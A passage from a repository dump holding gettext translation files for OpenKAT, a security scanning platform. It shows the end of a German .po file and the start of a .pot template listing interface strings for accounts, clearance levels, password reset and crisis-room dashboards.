\"\\n\"\n#~ \"            Einstellungen\\n\"\n#~ \"          \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                  Add setting and enable boefje\\n\"\n#~ \"                \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                  Add settings and enable boefje\\n\"\n#~ \"                \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                  Einstellung hinzufügen und Boefje aktivieren\\n\"\n#~ \"                \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                  Einstellungen hinzufügen und Boefje aktivieren\\n\"\n#~ \"                \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                Add setting\\n\"\n#~ \"              \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                Add settings\\n\"\n#~ \"              \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                Einstellung hinzufügen\\n\"\n#~ \"              \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                Einstellungen hinzufügen\\n\"\n#~ \"              \"\n\n#~ msgid \"Accounts\"\n#~ msgstr \"Accounts\"\n\n#~ msgid \" Details\"\n#~ msgstr \" Details\"\n\n#~ msgid \"Action\"\n#~ msgstr \"Aktion\"\n\n#~ msgid \"Unset\"\n#~ msgstr \"Nicht gesetzt\"\n\n#~ msgid \"Please select an OOI to start scan.\"\n#~ msgstr \"Bitte wählen Sie einen OOI, um den Scan zu starten.\"\n"
  },
  {
    "path": "rocky/rocky/locale/django.pot",
    "content": "# SOME DESCRIPTIVE TITLE.\n# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER\n# This file is distributed under the same license as the PACKAGE package.\n# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.\n#\n#: reports/forms.py\n#, fuzzy\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: PACKAGE VERSION\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2026-03-28 14:22+0000\\n\"\n\"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\\n\"\n\"Last-Translator: FULL NAME <EMAIL@ADDRESS>\\n\"\n\"Language-Team: LANGUAGE <LL@li.org>\\n\"\n\"Language: \\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\\n\"\n\n#: account/admin.py\nmsgid \"Permissions\"\nmsgstr \"\"\n\n#: account/admin.py\nmsgid \"Important dates\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py crisis_room/forms.py\n#: katalogus/templates/katalogus_settings.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/tls_report/report.html\n#: reports/templates/partials/report_names_form.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: tools/forms/boefje.py rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Name\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"The name that will be used in order to communicate.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Please provide username\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Email\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter an email address.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose a super secret password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another email.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py tools/forms/settings.py\nmsgid \"--- Please select one of the available options ----\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Account type\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Please select an account type to proceed.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"Trusted clearance level\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Select a clearance level you trust this member with.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py onboarding/forms.py tools/forms/ooi.py\nmsgid \"Please select a clearance level to proceed.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py tools/models.py\nmsgid \"The name of the organization.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"explanation-organization-name\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\n#, python-brace-format\nmsgid \"A unique code of maximum {code_length} characters in length.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"explanation-organization-code\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Organization name is required to proceed.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another organization.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Organization code is required to proceed.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another code for your organization.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"I declare that OpenKAT may scan the assets of my organization and that I \"\n\"have permission to scan these assets. I am aware of the implications a scan \"\n\"(with a higher scan level) brings on my systems.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"I declare that I am authorized to give this indemnification on behalf of my \"\n\"organization. I have the experience and knowledge to know what the \"\n\"consequences might be and can be held responsible for them.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Trusted to change Clearance Levels.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Acknowledged to change Clearance Levels.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py rocky/forms.py\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Blocked\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"Set the members status to blocked, so they don't have access to the \"\n\"organization anymore.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Accepted clearance level\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter tags separated by comma.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"The two password fields didn’t match.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"New password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter a new password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"New password confirmation\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Repeat the new password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Confirm the new password\"\nmsgstr \"\"\n\n#: account/forms/login.py\nmsgid \"Please enter a correct email address and password.\"\nmsgstr \"\"\n\n#: account/forms/login.py\nmsgid \"This account is inactive.\"\nmsgstr \"\"\n\n#: account/forms/login.py\nmsgid \"Insert the email you registered with or got at OpenKAT installation.\"\nmsgstr \"\"\n\n#: account/forms/organization.py\nmsgid \"Organization is required.\"\nmsgstr \"\"\n\n#: account/forms/organization.py tools/view_helpers.py\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/views/organization_add.py\nmsgid \"Organizations\"\nmsgstr \"\"\n\n#: account/forms/organization.py\nmsgid \"The organization from which to clone settings.\"\nmsgstr \"\"\n\n#: account/forms/password_reset.py account/templates/account_detail.html\nmsgid \"Email address\"\nmsgstr \"\"\n\n#: account/forms/password_reset.py\nmsgid \"A reset link will be sent to this email\"\nmsgstr \"\"\n\n#: account/forms/password_reset.py\nmsgid \"The email address connected to your OpenKAT-account\"\nmsgstr \"\"\n\n#: account/forms/token.py\nmsgid \"\"\n\"Insert the token generated by the authenticator app to setup the two factor \"\n\"authentication.\"\nmsgstr \"\"\n\n#: account/forms/token.py\nmsgid \"Insert the token generated by your token authenticator app.\"\nmsgstr \"\"\n\n#: account/forms/token.py\nmsgid \"Backup token\"\nmsgstr \"\"\n\n#: account/mixins.py\nmsgid \"Clearance level has been set.\"\nmsgstr \"\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. Indemnification not present at \"\n\"organization %s.\"\nmsgstr \"\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. You were trusted a clearance \"\n\"level of L%s. Contact your administrator to receive a higher clearance.\"\nmsgstr \"\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. You acknowledged a clearance \"\n\"level of L%s. Please accept the clearance level first on your profile page \"\n\"to proceed.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"The email must be set\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"Superuser must have is_staff=True.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"Superuser must have is_superuser=True.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"full name\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"email\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"staff status\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"Designates whether the user can log into this admin site.\"\nmsgstr \"\"\n\n#: account/models.py tools/models.py\nmsgid \"active\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"\"\n\"Designates whether this user should be treated as active. Unselect this \"\n\"instead of deleting accounts.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"date joined\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"The clearance level of the user for all organizations.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"name\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html account/views/account.py\nmsgid \"Account details\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html account/templates/password_reset.html\n#: account/views/password_reset.py\nmsgid \"Reset password\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Full name\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Member type\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Organization\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Permission to set OOI clearance levels\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"OOI clearance\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"You don't have any clearance to scan objects.\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"\"\n\"Get in contact with the admin to give you the necessary clearance level.\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"You have currently accepted clearance up to level\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Explanation OOI Clearance\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"\"\n\"You can withdraw this at anytime you like, but know that you won't be able \"\n\"to change clearance levels anymore when you do.\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\n#, python-format\nmsgid \"Withdraw L%(acl)s clearance and responsibility\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Explanation OOI clearance\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\n#, python-format\nmsgid \"\"\n\"You are granted clearance for level L%(tcl)s by your admin. Before you can \"\n\"change OOI clearance levels up to this level, you need to accept this \"\n\"permission. Remember: <strong>with great power comes great responsibility.</\"\n\"strong>\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"Accept level L%(tcl)s clearance and responsibility\"\nmsgstr \"\"\n\n#: account/templates/password_reset.html\nmsgid \"Use the form below to reset your password.\"\nmsgstr \"\"\n\n#: account/templates/password_reset.html\n#: account/templates/password_reset_confirm.html\nmsgid \"Send\"\nmsgstr \"\"\n\n#: account/templates/password_reset.html\n#: account/templates/password_reset_confirm.html\nmsgid \"Back\"\nmsgstr \"\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Confirm reset password\"\nmsgstr \"\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Use the form below to confirm resetting your password\"\nmsgstr \"\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Confirm password\"\nmsgstr \"\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"The link is invalid\"\nmsgstr \"\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"\"\n\"The password reset link was invalid, possibly because it has already been \"\n\"used.  Please request a new password reset.\"\nmsgstr \"\"\n\n#: account/templates/password_reset_email.html\n#, python-format\nmsgid \"\"\n\"You're receiving this email because you requested a password reset for your \"\n\"user account at %(site_name)s.\"\nmsgstr \"\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"Please go to the following page and choose a new password:\"\nmsgstr \"\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"Sincerely,\"\nmsgstr \"\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"The OpenKAT team\"\nmsgstr \"\"\n\n#: account/templates/password_reset_subject.txt\n#, python-format\nmsgid \"Password reset on %(site_name)s\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html account/views/recover_email.py\nmsgid \"Recover email address\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Information on how to recover your connected email address\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Forgotten email address?\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"\"\n\"If you don’t remember the email address connected to your account, contact:\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Please contact the system administrator.\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Back to login\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Back to Home\"\nmsgstr \"\"\n\n#: account/templates/registration_email.html\n#, python-format\nmsgid \"\"\n\"Welcome to OpenKAT. You're receiving this email because you have been added \"\n\"to organization \\\"%(organization)s\\\" at %(site_name)s.\"\nmsgstr \"\"\n\n#: account/templates/registration_subject.txt\n#, python-format\nmsgid \"Verify OpenKAT account on %(site_name)s\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \"\"\n\"Your password must contain at least the following but longer passwords are \"\n\"recommended:\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" characters\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" digits\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" letters\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \"\"\n\" special characters such as: {str(validators.get('special_characters',''))}\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" lower case letters\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" upper case letters\"\nmsgstr \"\"\n\n#: account/views/login.py\nmsgid \"Your session has timed out. Please login again.\"\nmsgstr \"\"\n\n#: account/views/login.py rocky/templates/header.html\nmsgid \"OpenKAT\"\nmsgstr \"\"\n\n#: account/views/login.py account/views/password_reset.py\n#: account/views/recover_email.py rocky/templates/partials/secondary-menu.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Login\"\nmsgstr \"\"\n\n#: account/views/login.py\nmsgid \"Two factor authentication\"\nmsgstr \"\"\n\n#: account/views/password_reset.py\nmsgid \"We couldn't send a password reset link. Contact \"\nmsgstr \"\"\n\n#: account/views/password_reset.py\nmsgid \"\"\n\"We couldn't send a password reset link. Contact your system administrator.\"\nmsgstr \"\"\n\n#: components/modal/template.html\nmsgid \"Close modal\"\nmsgstr \"\"\n\n#: components/modal/template.html\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: crisis_room/templates/partials/new_dashboard_modal.html\n#: katalogus/templates/change_clearance_level.html\n#: katalogus/templates/confirmation_clone_settings.html\n#: katalogus/templates/plugin_settings_delete.html\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#: reports/templates/report_schedules/delete_recipe_modal.html\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/oois/ooi_mute_finding.html\n#: rocky/templates/organizations/organization_edit.html\n#: rocky/templates/organizations/organization_member_edit.html\n#: rocky/templates/partials/delete_ooi_modal.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/mute_findings_modal.html\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Cancel\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Title on dashboard\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Dashboard item size\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Full width\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Half width\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"An item with that name already exists. Try a different title.\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"An error occurred while adding dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Number of rows in list\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"List sorting by\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Type (A-Z)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Type (Z-A)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Clearance level (Low-High)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Clearance level (High-Low)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Show table columns\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Severity (Low-High)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Severity (High-Low)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Finding (A-Z)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Finding (Z-A)\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Findings Dashboard\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"\"\n\"Where on the dashboard do you want to show the data? Position {} is the most \"\n\"top level and the max position is {}.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on the general crisis room, for all organizations.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on a single organization dashboard\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on the findings dashboard for all organizations\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Can change position up or down of a dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"You have to choose between a recipe or a query, but not both.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"You have set a query and not where it is from. Also set the source.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"\"\n\"DashboardItem must contain at least a 'recipe' or a 'source' with a 'query'.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Max dashboard items reached.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room.html\n#: crisis_room/templates/organization_crisis_room.html\n#: rocky/templates/header.html\nmsgid \"Crisis room\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room.html\nmsgid \"Crisis room overview for all organizations.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"Dashboards\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"\"\n\"On this page you can see an overview of the dashboards for all \"\n\"organizations. **More context can be written here**\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"dashboards\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"There are no dashboards to display.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Findings overview\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"\\n\"\n\"                            This overview shows the total number of findings \"\n\"per\\n\"\n\"                            severity that have been identified for all \"\n\"organizations.\\n\"\n\"                            This data is based on the latest Crisis Room \"\n\"Findings Report\\n\"\n\"                            of each organization.\\n\"\n\"                        \"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"Findings per organization\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"This table shows the findings that have been identified for each \"\n\"organization, sorted by the finding types and grouped by organizations. This \"\n\"data is based on the latest Crisis Room Findings Report of each organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"No findings have been identified yet. As soon as they have been identified, \"\n\"they will be shown on this page.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"There are no organizations yet. After creating an organization, the \"\n\"identified findings will be shown here.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_header.html\n#: crisis_room/templates/organization_crisis_room_header.html\nmsgid \"Crisis room navigation\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_header.html\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#: reports/report_types/aggregate_organisation_report/findings.html\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/findings_report/report.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/multi_organization_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/tls_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/report_types/web_system_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_sidemenu.html\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/ooi_report_findings_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/views/finding_list.py rocky/views/finding_type_add.py\n#: rocky/views/ooi_view.py\nmsgid \"Findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Options for dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Show all descriptions\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Hide all descriptions\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\nmsgid \"Delete dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"\"\n\"There are no dashboards yet. Click on \\\"Add dashboard\\\" to create a new \"\n\"dashboard.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#: katalogus/templates/partials/objects_to_scan.html\n#: rocky/templates/forms/widgets/checkbox_group_table.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Object list\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Finding list\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Report section\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"There are no dashboard items added yet.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"\"\n\"You can add dashboard items via the filters on the objects and findings page \"\n\"or you can add a report section.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add report section\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_header.html\n#: crisis_room/templates/partials/new_dashboard_modal.html\nmsgid \"Add dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Findings per organization overview\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: tools/forms/finding_type.py\nmsgid \"Finding types\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Occurrences\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Highest risk level\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Critical finding types\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Details\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Close details\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Open details\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"\"\n\"This overview shows the total number of findings per severity that have been \"\n\"identified for this organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\nmsgid \"Critical and high findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"This table shows the top 25 critical and high findings that have been \"\n\"identified for this organization, grouped by finding types. A table with all \"\n\"the identified findings can be found in the Findings Report.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"No findings have been identified. Check report for more details.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"View findings report\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Edit report recipe\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list.html\n#, python-format\nmsgid \"Showing %(length)s findings\"\nmsgstr \"\"\n\n#: 